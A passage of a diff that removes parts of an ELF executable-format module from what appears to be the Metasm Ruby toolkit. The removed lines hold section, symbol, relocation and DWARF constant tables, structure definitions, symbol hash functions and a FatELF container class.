=> 'DYNSYM', - 14 => 'INIT_ARRAY', 15 => 'FINI_ARRAY', 16 => 'PREINIT_ARRAY', - 17 => 'GROUP', 18 => 'SYMTAB_SHNDX', - 0x6fff_fff6 => 'GNU_HASH', 0x6fff_fff7 => 'GNU_LIBLIST', - 0x6fff_fff8 => 'GNU_CHECKSUM', - 0x6fff_fffd => 'GNU_verdef', 0x6fff_fffe => 'GNU_verneed', - 0x6fff_ffff => 'GNU_versym' } - SH_TYPE_LOOS = 0x6000_0000 - SH_TYPE_HIOS = 0x6fff_ffff - SH_TYPE_LOPROC = 0x7000_0000 - SH_TYPE_HIPROC = 0x7fff_ffff - SH_TYPE_LOUSER = 0x8000_0000 - SH_TYPE_HIUSER = 0xffff_ffff - - SH_FLAGS = { 1 => 'WRITE', 2 => 'ALLOC', 4 => 'EXECINSTR', - 0x10 => 'MERGE', 0x20 => 'STRINGS', 0x40 => 'INFO_LINK', - 0x80 => 'LINK_ORDER', 0x100 => 'OS_NONCONFORMING', - 0x200 => 'GROUP', 0x400 => 'TLS' } - SH_FLAGS_MASKPROC = 0xf000_0000 - - SH_INDEX = { 0 => 'UNDEF', - 0xfff1 => 'ABS', 0xfff2 => 'COMMON', - 0xffff => 'XINDEX', } - SH_INDEX_LORESERVE = 0xff00 - SH_INDEX_LOPROC = 0xff00 - SH_INDEX_HIPROC = 0xff1f - SH_INDEX_LOOS = 0xff20 - SH_INDEX_HIOS = 0xff3f - SH_INDEX_HIRESERVE = 0xffff - - SYMBOL_BIND = { 0 => 'LOCAL', 1 => 'GLOBAL', 2 => 'WEAK' } - SYMBOL_BIND_LOPROC = 13 - SYMBOL_BIND_HIPROC = 15 - - SYMBOL_TYPE = { 0 => 'NOTYPE', 1 => 'OBJECT', 2 => 'FUNC', - 3 => 'SECTION', 4 => 'FILE', 5 => 'COMMON', 6 => 'TLS' } - SYMBOL_TYPE_LOPROC = 13 - SYMBOL_TYPE_HIPROC = 15 - - SYMBOL_VISIBILITY = { 0 => 'DEFAULT', 1 => 'INTERNAL', 2 => 'HIDDEN', 3 => 'PROTECTED' } - - RELOCATION_TYPE = { # key are in MACHINE.values - '386' => { 0 => 'NONE', 1 => '32', 2 => 'PC32', 3 => 'GOT32', - 4 => 'PLT32', 5 => 'COPY', 6 => 'GLOB_DAT', - 7 => 'JMP_SLOT', 8 => 'RELATIVE', 9 => 'GOTOFF', - 10 => 'GOTPC', 11 => '32PLT', 12 => 'TLS_GD_PLT', - 13 => 'TLS_LDM_PLT', 14 => 'TLS_TPOFF', 15 => 'TLS_IE', - 16 => 'TLS_GOTIE', 17 => 'TLS_LE', 18 => 'TLS_GD', - 19 => 'TLS_LDM', 20 => '16', 21 => 'PC16', 22 => '8', - 23 => 'PC8', 24 => 'TLS_GD_32', 25 => 'TLS_GD_PUSH', - 26 => 'TLS_GD_CALL', 27 => 'TLS_GD_POP', - 28 => 'TLS_LDM_32', 29 => 'TLS_LDM_PUSH', - 30 => 'TLS_LDM_CALL', 31 => 'TLS_LDM_POP', - 32 => 'TLS_LDO_32', 33 => 'TLS_IE_32', - 34 => 'TLS_LE_32', 35 => 'TLS_DTPMOD32', - 36 => 'TLS_DTPOFF32', 37 => 'TLS_TPOFF32' }, - 'ARM' => { 0 => 'NONE', 1 => 'PC24', 2 => 'ABS32', 3 => 'REL32', - 4 => 'PC13', 5 => 'ABS16', 6 => 'ABS12', - 7 => 'THM_ABS5', 8 => 'ABS8', 9 => 'SBREL32', - 10 => 'THM_PC22', 11 => 'THM_PC8', 12 => 'AMP_VCALL9', - 13 => 'SWI24', 14 => 'THM_SWI8', 15 => 'XPC25', - 16 => 'THM_XPC22', 20 => 'COPY', 21 => 'GLOB_DAT', - 22 => 'JUMP_SLOT', 23 => 'RELATIVE', 24 => 'GOTOFF', - 25 => 'GOTPC', 26 => 'GOT32', 27 => 'PLT32', - 100 => 'GNU_VTENTRY', 101 => 'GNU_VTINHERIT', - 250 => 'RSBREL32', 251 => 'THM_RPC22', 252 => 'RREL32', - 253 => 'RABS32', 254 => 'RPC24', 255 => 'RBASE' }, - 'IA_64' => { 0 => 'NONE', - 0x21 => 'IMM14', 0x22 => 'IMM22', 0x23 => 'IMM64', - 0x24 => 'DIR32MSB', 0x25 => 'DIR32LSB', - 0x26 => 'DIR64MSB', 0x27 => 'DIR64LSB', - 0x2a => 'GPREL22', 0x2b => 'GPREL64I', - 0x2c => 'GPREL32MSB', 0x2d => 'GPREL32LSB', - 0x2e => 'GPREL64MSB', 0x2f => 'GPREL64LSB', - 0x32 => 'LTOFF22', 0x33 => 'LTOFF64I', - 0x3a => 'PLTOFF22', 0x3b => 'PLTOFF64I', - 0x3e => 'PLTOFF64MSB', 0x3f => 'PLTOFF64LSB', - 0x43 => 'FPTR64I', 0x44 => 'FPTR32MSB', - 0x45 => 'FPTR32LSB', 0x46 => 'FPTR64MSB', - 0x47 => 'FPTR64LSB', - 0x48 => 'PCREL60B', 0x49 => 'PCREL21B', - 0x4a => 'PCREL21M', 0x4b => 'PCREL21F', - 0x4c => 'PCREL32MSB', 0x4d => 'PCREL32LSB', - 0x4e => 'PCREL64MSB', 0x4f => 'PCREL64LSB', - 0x52 => 'LTOFF_FPTR22', 0x53 => 'LTOFF_FPTR64I', - 0x54 => 'LTOFF_FPTR32MSB', 0x55 => 'LTOFF_FPTR32LSB', - 0x56 => 'LTOFF_FPTR64MSB', 0x57 => 'LTOFF_FPTR64LSB', - 0x5c => 'SEGREL32MSB', 0x5d => 'SEGREL32LSB', - 0x5e => 'SEGREL64MSB', 0x5f => 'SEGREL64LSB', - 0x64 => 'SECREL32MSB', 0x65 => 'SECREL32LSB', - 0x66 => 'SECREL64MSB', 0x67 => 'SECREL64LSB', - 0x6c => 'REL32MSB', 0x6d => 'REL32LSB', - 0x6e => 'REL64MSB', 0x6f => 'REL64LSB', - 0x74 => 'LTV32MSB', 0x75 => 'LTV32LSB', - 0x76 => 'LTV64MSB', 0x77 => 'LTV64LSB', - 0x79 => 'PCREL21BI', 0x7a => 'PCREL22', - 0x7b => 'PCREL64I', 0x80 => 'IPLTMSB', - 0x81 => 'IPLTLSB', 0x85 => 'SUB', - 0x86 => 'LTOFF22X', 0x87 => 'LDXMOV', - 0x91 => 'TPREL14', 0x92 => 'TPREL22', - 0x93 => 'TPREL64I', 0x96 => 'TPREL64MSB', - 0x97 => 'TPREL64LSB', 0x9a => 'LTOFF_TPREL22', - 0xa6 => 'DTPMOD64MSB', 0xa7 => 'DTPMOD64LSB', - 0xaa => 'LTOFF_DTPMOD22', 0xb1 => 'DTPREL14', - 0xb2 => 'DTPREL22', 0xb3 => 'DTPREL64I', - 0xb4 => 'DTPREL32MSB', 0xb5 => 'DTPREL32LSB', - 0xb6 => 'DTPREL64MSB', 0xb7 => 'DTPREL64LSB', - 0xba => 'LTOFF_DTPREL22' }, - 'M32' => { 0 => 'NONE', 1 => '32', 2 => '32_S', 3 => 'PC32_S', - 4 => 'GOT32_S', 5 => 'PLT32_S', 6 => 'COPY', - 7 => 'GLOB_DAT', 8 => 'JMP_SLOT', 9 => 'RELATIVE', - 10 => 'RELATIVE_S' }, - 'MIPS' => { - 0 => 'NONE', 1 => '16', 2 => '32', 3 => 'REL32', - 4 => '26', 5 => 'HI16', 6 => 'LO16', 7 => 'GPREL16', - 8 => 'LITERAL', 9 => 'GOT16', 10 => 'PC16', - 11 => 'CALL16', 12 => 'GPREL32', - 16 => 'SHIFT5', 17 => 'SHIFT6', 18 => '64', - 19 => 'GOT_DISP', 20 => 'GOT_PAGE', 21 => 'GOT_OFST', - 22 => 'GOT_HI16', 23 => 'GOT_LO16', 24 => 'SUB', - 25 => 'INSERT_A', 26 => 'INSERT_B', 27 => 'DELETE', - 28 => 'HIGHER', 29 => 'HIGHEST', 30 => 'CALL_HI16', - 31 => 'CALL_LO16', 32 => 'SCN_DISP', 33 => 'REL16', - 34 => 'ADD_IMMEDIATE', 35 => 'PJUMP', 36 => 'RELGOT', - 37 => 'JALR', 38 => 'TLS_DTPMOD32', 39 => 'TLS_DTPREL32', - 40 => 'TLS_DTPMOD64', 41 => 'TLS_DTPREL64', - 42 => 'TLS_GD', 43 => 'TLS_LDM', 44 => 'TLS_DTPREL_HI16', - 45 => 'TLS_DTPREL_LO16', 46 => 'TLS_GOTTPREL', - 47 => 'TLS_TPREL32', 48 => 'TLS_TPREL64', - 49 => 'TLS_TPREL_HI16', 50 => 'TLS_TPREL_LO16', - 51 => 'GLOB_DAT', 52 => 'NUM' }, - 'PPC' => { 0 => 'NONE', - 1 => 'ADDR32', 2 => 'ADDR24', 3 => 'ADDR16', - 4 => 'ADDR16_LO', 5 => 'ADDR16_HI', 6 => 'ADDR16_HA', - 7 => 'ADDR14', 8 => 'ADDR14_BRTAKEN', 9 => 'ADDR14_BRNTAKEN', - 10 => 'REL24', 11 => 'REL14', - 12 => 'REL14_BRTAKEN', 13 => 'REL14_BRNTAKEN', - 14 => 'GOT16', 15 => 'GOT16_LO', - 16 => 'GOT16_HI', 17 => 'GOT16_HA', - 18 => 'PLTREL24', 19 => 'COPY', - 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', - 22 => 'RELATIVE', 23 => 'LOCAL24PC', - 24 => 'UADDR32', 25 => 'UADDR16', - 26 => 'REL32', 27 => 'PLT32', - 28 => 'PLTREL32', 29 => 'PLT16_LO', - 30 => 'PLT16_HI', 31 => 'PLT16_HA', - 32 => 'SDAREL16', 33 => 'SECTOFF', - 34 => 'SECTOFF_LO', 35 => 'SECTOFF_HI', - 36 => 'SECTOFF_HA', 67 => 'TLS', - 68 => 'DTPMOD32', 69 => 'TPREL16', - 70 => 'TPREL16_LO', 71 => 'TPREL16_HI', - 72 => 'TPREL16_HA', 73 => 'TPREL32', - 74 => 'DTPREL16', 75 => 'DTPREL16_LO', - 76 => 'DTPREL16_HI', 77 => 'DTPREL16_HA', - 78 => 'DTPREL32', 79 => 'GOT_TLSGD16', - 80 => 'GOT_TLSGD16_LO', 81 => 'GOT_TLSGD16_HI', - 82 => 'GOT_TLSGD16_HA', 83 => 'GOT_TLSLD16', - 84 => 'GOT_TLSLD16_LO', 85 => 'GOT_TLSLD16_HI', - 86 => 'GOT_TLSLD16_HA', 87 => 'GOT_TPREL16', - 88 => 'GOT_TPREL16_LO', 89 => 'GOT_TPREL16_HI', - 90 => 'GOT_TPREL16_HA', 101 => 'EMB_NADDR32', - 102 => 'EMB_NADDR16', 103 => 'EMB_NADDR16_LO', - 104 => 'EMB_NADDR16_HI', 105 => 'EMB_NADDR16_HA', - 106 => 'EMB_SDAI16', 107 => 'EMB_SDA2I16', - 108 => 'EMB_SDA2REL', 109 => 'EMB_SDA21', - 110 => 'EMB_MRKREF', 111 => 'EMB_RELSEC16', - 112 => 'EMB_RELST_LO', 113 => 'EMB_RELST_HI', - 114 => 'EMB_RELST_HA', 115 => 'EMB_BIT_FLD', - 116 => 'EMB_RELSDA' }, - 'SH' => { 0 => 'NONE', 1 => 'DIR32', 2 => 'REL32', 3 => 'DIR8WPN', - 4 => 'IND12W', 5 => 'DIR8WPL', 6 => 'DIR8WPZ', 7 => 'DIR8BP', - 8 => 'DIR8W', 9 => 'DIR8L', 10 => 'LOOP_START', 11 => 'LOOP_END', - 22 => 'GNU_VTINHERIT', 23 => 'GNU_VTENTRY', 24 => 'SWITCH8', - 25 => 'SWITCH16', 26 => 'SWITCH32', 27 => 'USES', 28 => 'COUNT', - 29 => 'ALIGN', 30 => 'CODE', 31 => 'DATA', 32 => 'LABEL', - 33 => 'DIR16', 34 => 'DIR8', 35 => 'DIR8UL', 36 => 'DIR8UW', - 37 => 'DIR8U', 38 => 'DIR8SW', 39 => 'DIR8S', 40 => 'DIR4UL', - 41 => 'DIR4UW', 42 => 'DIR4U', 43 => 'PSHA', 44 => 'PSHL', - 45 => 'DIR5U', 46 => 'DIR6U', 47 => 'DIR6S', 48 => 'DIR10S', - 49 => 'DIR10SW', 50 => 'DIR10SL', 51 => 'DIR10SQ', 53 => 'DIR16S', - 144 => 'TLS_GD_32', 145 => 'TLS_LD_32', 146 => 'TLS_LDO_32', - 147 => 'TLS_IE_32', 148 => 'TLS_LE_32', 149 => 'TLS_DTPMOD32', - 150 => 'TLS_DTPOFF32', 151 => 'TLS_TPOFF32', 160 => 'GOT32', - 161 => 'PLT32', 162 => 'COPY', 163 => 'GLOB_DAT', - 164 => 'JMP_SLOT', 165 => 'RELATIVE', 166 => 'GOTOFF', - 167 => 'GOTPC', 168 => 'GOTPLT32', 169 => 'GOT_LOW16', - 170 => 'GOT_MEDLOW16', 171 => 'GOT_MEDHI16', 172 => 'GOT_HI16', - 173 => 'GOTPLT_LOW16', 174 => 'GOTPLT_MEDLOW16', 175 => 'GOTPLT_MEDHI16', - 176 => 'GOTPLT_HI16', 177 => 'PLT_LOW16', 178 => 'PLT_MEDLOW16', - 179 => 'PLT_MEDHI16', 180 => 'PLT_HI16', 181 => 'GOTOFF_LOW16', - 182 => 'GOTOFF_MEDLOW16', 183 => 'GOTOFF_MEDHI16', 184 => 'GOTOFF_HI16', - 185 => 'GOTPC_LOW16', 186 => 'GOTPC_MEDLOW16', 187 => 'GOTPC_MEDHI16', - 188 => 'GOTPC_HI16', 189 => 'GOT10BY4', 190 => 'GOTPLT10BY4', - 191 => 'GOT10BY8', 192 => 'GOTPLT10BY8', 193 => 'COPY64', - 194 => 'GLOB_DAT64', 195 => 'JMP_SLOT64', 196 => 'RELATIVE64', - 242 => 'SHMEDIA_CODE', 243 => 'PT_16', 244 => 'IMMS16', - 245 => 'IMMU16', 246 => 'IMM_LOW16', 247 => 'IMM_LOW16_PCREL', - 248 => 'IMM_MEDLOW16', 249 => 'IMM_MEDLOW16_PCREL', 250 => 'IMM_MEDHI16', - 251 => 'IMM_MEDHI16_PCREL', 252 => 'IMM_HI16', 253 => 'IMM_HI16_PCREL', - 254 => '64', 255 => '64_PCREL' }, - 'SPARC' => { 0 => 'NONE', 1 => '8', 2 => '16', 3 => '32', - 4 => 'DISP8', 5 => 'DISP16', 6 => 'DISP32', - 7 => 'WDISP30', 8 => 'WDISP22', 9 => 'HI22', - 10 => '22', 11 => '13', 12 => 'LO10', 13 => 'GOT10', - 14 => 'GOT13', 15 => 'GOT22', 16 => 'PC10', - 17 => 'PC22', 18 => 'WPLT30', 19 => 'COPY', - 20 => 'GLOB_DAT', 21 => 'JMP_SLOT', 22 => 'RELATIVE', - 23 => 'UA32', 24 => 'PLT32', 25 => 'HIPLT22', - 26 => 'LOPLT10', 27 => 'PCPLT32', 28 => 'PCPLT22', - 29 => 'PCPLT10', 30 => '10', 31 => '11', 32 => '64', - 33 => 'OLO10', 34 => 'HH22', 35 => 'HM10', 36 => 'LM22', - 37 => 'PC_HH22', 38 => 'PC_HM10', 39 => 'PC_LM22', - 40 => 'WDISP16', 41 => 'WDISP19', 42 => 'GLOB_JMP', - 43 => '7', 44 => '5', 45 => '6', 46 => 'DISP64', - 47 => 'PLT64', 48 => 'HIX22', 49 => 'LOX10', 50 => 'H44', - 51 => 'M44', 52 => 'L44', 53 => 'REGISTER', 54 => 'UA64', - 55 => 'UA16', 56 => 'TLS_GD_HI22', 57 => 'TLS_GD_LO10', - 58 => 'TLS_GD_ADD', 59 => 'TLS_GD_CALL', - 60 => 'TLS_LDM_HI22', 61 => 'TLS_LDM_LO10', - 62 => 'TLS_LDM_ADD', 63 => 'TLS_LDM_CALL', - 64 => 'TLS_LDO_HIX22', 65 => 'TLS_LDO_LOX10', - 66 => 'TLS_LDO_ADD', 67 => 'TLS_IE_HI22', - 68 => 'TLS_IE_LO10', 69 => 'TLS_IE_LD', - 70 => 'TLS_IE_LDX', 71 => 'TLS_IE_ADD', - 72 => 'TLS_LE_HIX22', 73 => 'TLS_LE_LOX10', - 74 => 'TLS_DTPMOD32', 75 => 'TLS_DTPMOD64', - 76 => 'TLS_DTPOFF32', 77 => 'TLS_DTPOFF64', - 78 => 'TLS_TPOFF32', 79 => 'TLS_TPOFF64' }, - 'X86_64' => { 0 => 'NONE', - 1 => '64', 2 => 'PC32', 3 => 'GOT32', 4 => 'PLT32', - 5 => 'COPY', 6 => 'GLOB_DAT', 7 => 'JMP_SLOT', - 8 => 'RELATIVE', 9 => 'GOTPCREL', 10 => '32', - 11 => '32S', 12 => '16', 13 => 'PC16', 14 => '8', - 15 => 'PC8', 16 => 'DTPMOD64', 17 => 'DTPOFF64', - 18 => 'TPOFF64', 19 => 'TLSGD', 20 => 'TLSLD', - 21 => 'DTPOFF32', 22 => 'GOTTPOFF', 23 => 'TPOFF32' } - } - - DEFAULT_INTERP = '/lib/ld-linux.so.2' - DEFAULT_INTERP64 = '/lib64/ld-linux-x86-64.so.2' - - class SerialStruct < Metasm::SerialStruct - new_int_field :addr, :off, :xword, :sword, :sxword - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - byte :e_class, 0, CLASS - byte :data, 0, DATA - byte :i_version, 'CURRENT', VERSION - byte :abi, 0, ABI - byte :abi_version - mem :ident_unk, 7 - half :type, 0, TYPE - half :machine, 0, MACHINE - word :version, 'CURRENT', VERSION - addr :entry - off :phoff - off :shoff - word :flags - fld_bits(:flags) { |elf, hdr| FLAGS[hdr.machine] || {} } - halfs :ehsize, :phentsize, :phnum, :shentsize, :shnum, :shstrndx - end - - class Segment < SerialStruct - attr_accessor :type, :offset, :vaddr, :paddr, :filesz, :memsz, :flags, :align - attr_accessor :encoded - - def struct_specialized(elf) - return Segment32 if not elf - case elf.bitsize - when 32; Segment32 - else Segment64 - end - end - end - - class Segment32 < Segment - word :type, 0, PH_TYPE - off :offset - addr :vaddr - addr :paddr - xword :filesz - xword :memsz - word :flags ; fld_bits :flags, PH_FLAGS - xword :align - end - class Segment64 < Segment - word :type, 0, PH_TYPE - word :flags ; fld_bits :flags, PH_FLAGS - off :offset - addr :vaddr - addr :paddr - xword :filesz - xword :memsz - xword :align - end - - class Section < SerialStruct - word :name_p - word :type, 0, SH_TYPE - xword :flags ; fld_bits :flags, SH_FLAGS - addr :addr - off :offset - xword :size - word :link - word :info - xword :addralign - xword :entsize - - attr_accessor :name, :encoded - end - - class Symbol < SerialStruct - def struct_specialized(elf) - return Symbol32 if not elf - case elf.bitsize - when 32; Symbol32 - else Symbol64 - end - end - - attr_accessor :name_p, :value, :size, :bind, :type, :other, :shndx - attr_accessor :name, :thunk - end - - class Symbol32 < Symbol - word :name_p - addr :value - xword :size - bitfield :byte, 0 => :type, 4 => :bind - fld_enum :type, SYMBOL_TYPE - fld_enum :bind, SYMBOL_BIND - byte :other - half :shndx, 0, SH_INDEX - end - class Symbol64 < Symbol - word :name_p - bitfield :byte, 0 => :type, 4 => :bind - fld_enum :type, SYMBOL_TYPE - fld_enum :bind, SYMBOL_BIND - byte :other - half :shndx, 0, SH_INDEX - addr :value - xword :size - end - - class Relocation < SerialStruct - attr_accessor :offset, :type, :symbol - def struct_specialized(elf) - return Relocation32 if not elf - case elf.bitsize - when 32; Relocation32 - else Relocation64 - end - end - - def addend ; end - end - class Relocation32 < Relocation - addr :offset - bitfield :xword, 0 => :type, 8 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - end - class Relocation64 < Relocation - addr :offset - bitfield :xword, 0 => :type, 32 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - end - class RelocationAddend < Relocation - attr_accessor :addend - def struct_specialized(elf) - return RelocationAddend32 if not elf - case elf.bitsize - when 32; RelocationAddend32 - else RelocationAddend64 - end - end - end - class RelocationAddend32 < RelocationAddend - addr :offset - bitfield :xword, 0 => :type, 8 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - sxword :addend - end - class RelocationAddend64 < RelocationAddend - addr :offset - bitfield :xword, 0 => :type, 32 => :symbol - fld_enum(:type) { |elf, rel| RELOCATION_TYPE[elf.header.machine] || {} } - fld_enum(:symbol) { |elf, rel| elf.symbols } - sxword :addend - end - - class SerialStruct - new_int_field :leb - end - - # libdwarf/dwarf.h - DWARF_TAG = { - 0x01 => 'ARRAY_TYPE', 0x02 => 'CLASS_TYPE', 0x03 => 'ENTRY_POINT', - 0x04 => 'ENUMERATION_TYPE', 0x05 => 'FORMAL_PARAMETER', - 0x08 => 'IMPORTED_DECLARATION', 0x0a => 'LABEL', 0x0b => 'LEXICAL_BLOCK', - 0x0d => 'MEMBER', 0x0f => 'POINTER_TYPE', - 0x10 => 'REFERENCE_TYPE', 0x11 => 'COMPILE_UNIT', 0x12 => 'STRING_TYPE', 0x13 => 'STRUCTURE_TYPE', - 0x15 => 'SUBROUTINE_TYPE', 0x16 => 'TYPEDEF', 0x17 => 'UNION_TYPE', - 0x18 => 'UNSPECIFIED_PARAMETERS', 0x19 => 'VARIANT', 0x1a => 'COMMON_BLOCK', 0x1b => 'COMMON_INCLUSION', - 0x1c => 'INHERITANCE', 0x1d => 'INLINED_SUBROUTINE', 0x1e => 'MODULE', 0x1f => 'PTR_TO_MEMBER_TYPE', - 0x20 => 'SET_TYPE', 0x21 => 'SUBRANGE_TYPE', 0x22 => 'WITH_STMT', 0x23 => 'ACCESS_DECLARATION', - 0x24 => 'BASE_TYPE', 0x25 => 'CATCH_BLOCK', 0x26 => 'CONST_TYPE', 0x27 => 'CONSTANT', - 0x28 => 'ENUMERATOR', 0x29 => 'FILE_TYPE', 0x2a => 'FRIEND', 0x2b => 'NAMELIST', - 0x2c => 'NAMELIST_ITEM', 0x2d => 'PACKED_TYPE', 0x2e => 'SUBPROGRAM', 0x2f => 'TEMPLATE_TYPE_PARAM', - 0x30 => 'TEMPLATE_VALUE_PARAM', 0x31 => 'THROWN_TYPE', 0x32 => 'TRY_BLOCK', 0x33 => 'VARIANT_PART', - 0x34 => 'VARIABLE', 0x35 => 'VOLATILE_TYPE', - } - DWARF_FORM = { - 0x01 => 'ADDR', 0x03 => 'BLOCK2', - 0x04 => 'BLOCK4', 0x05 => 'DATA2', 0x06 => 'DATA4', 0x07 => 'DATA8', - 0x08 => 'STRING', 0x09 => 'BLOCK', 0x0a => 'BLOCK1', 0x0b => 'DATA1', - 0x0c => 'FLAG', 0x0d => 'SDATA', 0x0e => 'STRP', 0x0f => 'UDATA', - 0x10 => 'REF_ADDR', 0x11 => 'REF1', 0x12 => 'REF2', 0x13 => 'REF4', - 0x14 => 'REF8', 0x15 => 'REF_UDATA', 0x16 => 'INDIRECT', - } - DWARF_AT = { - 0x01 => 'SIBLING', 0x02 => 'LOCATION', 0x03 => 'NAME', - 0x09 => 'ORDERING', 0x0a => 'SUBSCR_DATA', 0x0b => 'BYTE_SIZE', - 0x0c => 'BIT_OFFSET', 0x0d => 'BIT_SIZE', 0x0f => 'ELEMENT_LIST', - 0x10 => 'STMT_LIST', 0x11 => 'LOW_PC', 0x12 => 'HIGH_PC', 0x13 => 'LANGUAGE', - 0x14 => 'MEMBER', 0x15 => 'DISCR', 0x16 => 'DISCR_VALUE', 0x17 => 'VISIBILITY', - 0x18 => 'IMPORT', 0x19 => 'STRING_LENGTH', 0x1a => 'COMMON_REFERENCE', 0x1b => 'COMP_DIR', - 0x1c => 'CONST_VALUE', 0x1d => 'CONTAINING_TYPE', 0x1e => 'DEFAULT_VALUE', - 0x20 => 'INLINE', 0x21 => 'IS_OPTIONAL', 0x22 => 'LOWER_BOUND', - 0x25 => 'PRODUCER', 0x27 => 'PROTOTYPED', - 0x2a => 'RETURN_ADDR', - 0x2c => 'START_SCOPE', 0x2e => 'STRIDE_SIZE', 0x2f => 'UPPER_BOUND', - 0x31 => 'ABSTRACT_ORIGIN', 0x32 => 'ACCESSIBILITY', 0x33 => 'ADDRESS_CLASS', - 0x34 => 'ARTIFICIAL', 0x35 => 'BASE_TYPES', 0x36 => 'CALLING_CONVENTION', 0x37 => 'COUNT', - 0x38 => 'DATA_MEMBER_LOCATION', 0x39 => 'DECL_COLUMN', 0x3a => 'DECL_FILE', 0x3b => 'DECL_LINE', - 0x3c => 'DECLARATION', 0x3d => 'DISCR_LIST', 0x3e => 'ENCODING', 0x3f => 'EXTERNAL', - 0x40 => 'FRAME_BASE', 0x41 => 'FRIEND', 0x42 => 'IDENTIFIER_CASE', 0x43 => 'MACRO_INFO', - 0x44 => 'NAMELIST_ITEM', 0x45 => 'PRIORITY', 0x46 => 'SEGMENT', 0x47 => 'SPECIFICATION', - 0x48 => 'STATIC_LINK', 0x49 => 'TYPE', 0x4a => 'USE_LOCATION', 0x4b => 'VARIABLE_PARAMETER', - 0x4c => 'VIRTUALITY', 0x4d => 'VTABLE_ELEM_LOCATION', - } - - class DwarfDebug < SerialStruct - class Node < SerialStruct - leb :index - leb :tag, 0, DWARF_TAG - byte :has_child - attr_accessor :parent, :children, :attributes - class Attribute < SerialStruct - leb :attr, 0, DWARF_AT - leb :form, 0, DWARF_FORM - attr_accessor :data - def to_s(a); "#{@attr}=(#@form)#{dump(@data, a)}" end - end - end - - word :cu_len - half :version, 2 - word :abbrev_off - byte :ptr_sz - attr_accessor :tree # ary of root siblings (Node) - end - - def self.hash_symbol_name(name) - name.unpack('C*').inject(0) { |hash, char| - break hash if char == 0 - hash <<= 4 - hash += char - hash ^= (hash >> 24) & 0xf0 - hash &= 0x0fff_ffff - } - end - - def self.gnu_hash_symbol_name(name) - name.unpack('C*').inject(5381) { |hash, char| - break hash if char == 0 - (hash*33 + char) & 0xffff_ffff - } - end - - attr_accessor :header, :segments, :sections, :tag, :symbols, :relocations, :endianness, :bitsize, :debug - def initialize(cpu=nil) - @header = Header.new - @tag = {} - @symbols = [Symbol32.new] - @symbols.first.shndx = 'UNDEF' - @relocations = [] - @sections = [Section.new] - @sections.first.type = 'NULL' - @segments = [] - if cpu - @endianness = cpu.endianness - @bitsize = cpu.size - else - @endianness = :little - @bitsize = 32 - end - super(cpu) - end - - def shortname; 'elf'; end - - def sizeof_byte ; 1 ; end - def sizeof_half ; 2 ; end - def sizeof_word ; 4 ; end - def sizeof_sword ; 4 ; end - def sizeof_xword ; @bitsize == 32 ? 4 : 8 ; end - alias sizeof_sxword sizeof_xword - alias sizeof_addr sizeof_xword - alias sizeof_off sizeof_xword -end - -class LoadedELF < ELF - attr_accessor :load_address - def addr_to_off(addr) - @load_address ||= 0 - addr >= @load_address ? addr - @load_address : addr if addr - end -end - -class FatELF < ExeFormat - MAGIC = "\xfa\x70\x0e\x1f" # 0xfat..elf - - class SerialStruct < Metasm::SerialStruct - new_int_field :qword - end - - class Header < SerialStruct - mem :magic, 4, MAGIC - word :version, 1 - byte :nfat_arch - byte :reserved - - def decode(fe) - super(fe) - raise InvalidExeFormat, "Invalid FatELF signature #{@magic.unpack('H*').first.inspect}" if @magic != MAGIC - end - - def set_default_values(fe) - @nfat_arch ||= fe.list.length - super(fe) - end - end - class FatArch < SerialStruct - word :machine - bytes :abi, :abi_version, :e_class, :data, :res1, :res2 - qwords :offset, :size - - fld_enum :machine, ELF::MACHINE - fld_enum :abi, ELF::ABI - fld_enum :e_class, ELF::CLASS - fld_enum :data, ELF::DATA - - attr_accessor :encoded - end - - def encode_byte(val) Expression[val].encode(:u8, @endianness) end - def encode_word(val) Expression[val].encode(:u16, @endianness) end - def encode_qword(val) Expression[val].encode(:u64, @endianness) end - def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end - def decode_word(edata = @encoded) edata.decode_imm(:u16, @endianness) end - def decode_qword(edata = @encoded) edata.decode_imm(:u64, @endianness) end - def sizeof_byte ; 1 ; end - def sizeof_word ; 2 ; end - def sizeof_qword ; 8 ; end - - attr_accessor :header, :list - def initialize - @endianness = :little - @list = [] - super() - end - - def decode - @header = Header.decode(self) - @list = [] - @header.nfat_arch.times { @list << FatArch.decode(self) } - @list.each { |e| - e.encoded = @encoded[e.offset, e.size] || EncodedData.new - } - end - - def encode - @header ||= Header.new - @encoded = @header.encode(self) - @list.map! { |f| - if f.kind_of? ExeFormat - e = f - f = FatArch.new - f.encoded = e.encode_string - h = e.header - f.machine, f.abi, f.abi_version, f.e_class, f.data = - h.machine, h.abi, h.abi_version, h.e_class, h.data - end - f.offset = new_label('fat_off') - f.size = f.encoded.size - @encoded << f.encode(self) - f - } - bd = {} - @list.each { |f| - @encoded.align 4096 - bd[f.offset] = @encoded.length if f.offset.kind_of? String - @encoded << f.encoded - } - @encoded.fixup! bd - end - - def [](i) AutoExe.decode(@list[i].encoded) if @list[i] end - def <<(exe) @list << exe ; self end - - def self.autoexe_load(*a) - fe = super(*a) - fe.decode - # TODO have a global callback or whatever to prompt the user - # which file he wants to load in the dasm - puts "FatELF: using 1st archive member" if $VERBOSE - fe[0] - end - - def shortname; 'fatelf'; end -end -end - -require 'metasm/exe_format/elf_encode' -require 'metasm/exe_format/elf_decode' - -# TODO symbol version info -__END__ -/* - * Version structures. There are three types of version structure: - * - * o A definition of the versions within the image itself. - * Each version definition is assigned a unique index (starting from - * VER_NDX_BGNDEF) which is used to cross-reference symbols associated to - * the version. Each version can have one or more dependencies on other - * version definitions within the image. The version name, and any - * dependency names, are specified in the version definition auxiliary - * array. Version definition entries require a version symbol index table. - * - * o A version requirement on a needed dependency. Each needed entry - * specifies the shared object dependency (as specified in DT_NEEDED). - * One or more versions required from this dependency are specified in the - * version needed auxiliary array. - * - * o A version symbol index table. Each symbol indexes into this array - * to determine its version index. Index values of VER_NDX_BGNDEF or - * greater indicate the version definition to which a symbol is associated. - * (the size of a symbol index entry is recorded in the sh_info field). - */ -#ifndef _ASM - -typedef struct { /* Version Definition Structure. */ - Elf32_Half vd_version; /* this structures version revision */ - 